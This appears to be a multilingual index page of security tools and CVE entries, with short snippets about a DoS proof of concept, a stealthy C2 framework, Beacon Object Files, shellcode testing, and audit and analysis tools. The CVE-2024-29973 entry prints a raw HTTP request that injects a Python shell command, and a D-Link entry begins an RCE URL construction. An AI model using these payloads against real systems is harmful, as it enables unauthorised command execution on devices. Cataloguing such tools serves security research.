dheater

DHEater DHEater est l'implémentation de preuve de concept de l'attaque DHEat CVE-2002-20001. Pour plus d'informations sur l'attaque, consultez la page du projet ou lisez l'article technique complet sur IEEE Access. Avertissement DHEater est un outil de déni de service de preuve de concept destiné...

emp3r0r

emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r? emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience...

emp3r0r

emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r? emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience...

claude-code-guardrails

Depuis, nous avons construit un produit dédié pour aider les développeurs à mieux gérer les permissions d'IA, que nous prévoyons de rendre open source. Découvrez-le surstoplight.ai. Claude Code Guardrails settings.json fonctionne si : Vous acceptez de modifier JSON et de tuer les sessions Claude...

shellcodetester

Shellcode Tester ShellcodeTester officially supports Python 3.8+. Main features Assembly ASM file 32 and 64 bits Assembly ASM file to Windows, Linux and MacOS Check badchars Output to several formats NASM Shell Other amazing features... Shellcode Tester - Getting stats shellcodetester -asm file.a...

shellcodetester

Shellcode Tester ShellcodeTester prend officiellement en charge Python 3.8+. Principales fonctionnalités Fichier ASM assembleur 32 et 64 bits Fichier ASM assembleur pour Windows, Linux et MacOS Vérification des badchars Sortie vers plusieurs formats Shell NASM Autres fonctionnalités étonnantes...

JAW

J A W Site Web | Documentation | Installation | Robot d'exploration | Démarrage rapide Docker Exemple JAW Une implémentation prototype open-source de graphes de propriétés pour JavaScript basée sur l'analyseur esprima et la spécification EsTree SpiderMonkey. JAW peut être utilisé pour analyser le...

droidlysis

DroidLysis DroidLysis est un outil de pré-analyse pour les applications Android : il effectue les tâches répétitives et fastidieuses que nous ferions généralement au début de tout rétro-ingénierie. Il désassemble l'échantillon Android, organise la sortie dans des répertoires, et recherche les...

droidlysis

DroidLysis DroidLysis is a pre-analysis tool for Android apps : it performs repetitive and boring tasks we'd typically do at the beginning of any reverse engineering. It disassembles the Android sample, organizes output in directories, and searches for suspicious spots in the code to look at. The...

ssh-audit

ssh-audit ssh-audit is a tool for ssh server & client configuration auditing. jtesta/ssh-audit v2.0+ is the updated and maintained version of ssh-audit forked from arthepsy/ssh-audit v1.x due to inactivity. Features Usage Screenshots Server Standard Audit Example Server Policy Audit Example Clien...

CVE-2023-4542

poc La passerelle d'audit comportemental en ligne D-LINK-DAR-8000-10 présente des vulnérabilités d'exécution de code à distance RCE. site officiel : http://www.dlink.com.cn/ version : D-LINK DAR-8000-10 Voir la page de connexion. Construire l'URL :...

mssqlbof

mssqlbof Une suite de fichiers Beacon Object pour Microsoft SQL Server qui parle directement TDS 7.4 sur le fil, en C. Pas de msodbcsql.dll, pas de sqloledb.dll, pas de .NET CLR, pas de PowerShell. Un COFF par architecture, chargé dans chaque beacon qui respecte l'API Beacon canonique. Pourquoi S...

LSN-0122-1: Kernel Live Patch Security Notice

In the Linux kernel, the following vulnerability has been resolved: fs: dlm: fix use after free in midcomms commit While working on processing dlm message in softirq context I experienced the following KASAN use-after-free warning: . In the Linux kernel, the following vulnerability has been...

CVE-2022-37177

CVE-2022-37177 - HireVue-Broken-Or-Risky-Cryptographic-Algorithm При переходе по ссылке-приглашению на собеседование, которую HireVue предоставляет для интервью, вы попадаете на страницу с условиями, где вы соглашаетесь с ними перед началом записываемого и ограниченного по времени процесса...

drAFL

drAFL L'AFL original prend en charge le fuzzing guidé par couverture en boîte noire via le mode QEMU. Je recommande vivement de l'essayer d'abord, et si cela ne fonctionne pas, vous pouvez essayer cet outil. De plus, vous pouvez essayer Manul qui prend en charge le fuzzing de binaires en boîte...

Security Bulletin: InfoSphere Data Architect (IDA) 9.2.2 Vulnerability Fixes

Summary Security Bulletin: Multiple vulnerabilities getting fixed with InfoSphere Data Architect IDA 9.2.2. Hence, IBM strongly recommends upgrading to v9.2.2 Vulnerability Details CVEID:CVE-2026-68497 DESCRIPTION: jackson-databind binds a JSON string to a javax.xml.datatype.Duration or...

latma

Lateral movement analyzer tool Lateral movement analyzer LATMA collects authentication logs from the domain and Azure AD environments and searches for potential lateral movement attacks and suspicious activity, the lateral movement can be in the AD environment or between cloud and on-prem. The to...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

zsteg

zsteg Description обнаружение скрытых стеганографией данных в PNG и BMP Installation gem install zsteg Detects: LSB-стеганография в PNG и BMP данные, сжатые zlib OpenStego Camouflage 1.2.1 LSB с множеством Эратосфена Usage zsteg -h Usage: zsteg options filename.png paramstring -a, --all try all...

SuricataLog

SuricataLog Lorsque j'ai commencé à apprendre à utiliser Suricata, j'ai rapidement constaté que j'avais besoin d'un outil pour inspecter le fichier eve.json ; la plupart des tutoriels et de la documentation disponibles suggéraient d'installer une pile pour effectuer les tâches suivantes : 1...